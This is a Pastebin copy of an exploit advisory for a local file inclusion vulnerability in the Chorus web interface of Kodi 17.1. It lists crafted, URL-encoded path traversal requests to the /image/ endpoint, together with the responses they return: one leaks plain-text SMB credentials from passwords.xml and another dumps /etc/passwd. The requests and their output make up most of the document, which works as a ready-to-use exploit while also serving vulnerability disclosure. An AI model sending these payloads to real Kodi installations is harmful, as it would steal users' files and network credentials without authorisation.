Advertisement
Guest User

Untitled

a guest
Feb 14th, 2017
1,287
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.12 KB | None | 0 0
  1. # Exploit Title: Kodi - Local File Inclusion
  2. # Date: 12 February 2017
  3. # Exploit Author: Eric Flokstra
  4. # Vendor Homepage: https://kodi.tv/
  5. # Software Link: https://kodi.tv/download/
  6. # Version: Kodi version 17.1 (Krypton), Chorus version 2.4.2
  7. # Tested on: Linux
  8.  
  9. Kodi (formerly XBMC) is a free and open-source media player software
  10. application developed by the XBMC Foundation. Chorus is a web interface
  11. for controlling and interacting with Kodi. It is hosted by the Kodi
  12. installation.
  13.  
  14. The web interface loads a thumbnail of an image, video or add-on when
  15. selecting a category in the left menu with the following request:
  16.  
  17. http://192.168.1.25:8080/image/image%3A%2F%2F%252fhome%252fosmc%252f.kodi%252faddons%252fplugin.video.vice%252ficon.png%2F
  18.  
  19. Insufficient validation of user input is performed on this URL resulting
  20. in a local file inclusion vulnerability. This enables attackers
  21. to retrieve arbitrary files from the filesystem by changing the location
  22. after the '/image/image%3A%2F%2F’ part.
  23.  
  24. <--Examples-->
  25.  
  26. 1) If Kodi is connected to a NAS the following request can be used to obtain plain text SMB credentials:
  27.  
  28. http://192.168.1.25:8080/image/image%3A%2F%2F%2e%2e%252fhome%252fosmc%252f.kodi%252fuserdata%252fpasswords.xml
  29.  
  30. Response:
  31.  
  32. <passwords><path><from pathversion="1">smb://192.168.1.15/</from><to
  33. pathversion="1">smb://username:password@192.168.1.15//share</to></path></passwords>
  34.  
  35. 2) Request to retrieve the content of /etc/passwd:
  36.  
  37. http://192.168.1.25:8080/image/image%3A%2F%2F%2e%2e%252fetc%252fpasswd
  38.  
  39. Response:
  40.  
  41. root:x:0:0:root:/root:/bin/bash
  42. daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
  43. bin:x:2:2:bin:/bin:/usr/sbin/nologin
  44. sys:x:3:3:sys:/dev:/usr/sbin/nologin
  45. sync:x:4:65534:sync:/bin:/bin/sync
  46. games:x:5:60:games:/usr/games:/usr/sbin/nologin
  47. man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
  48. lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
  49. mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
  50. news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
  51. uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
  52. proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
  53. www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
  54. ...
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement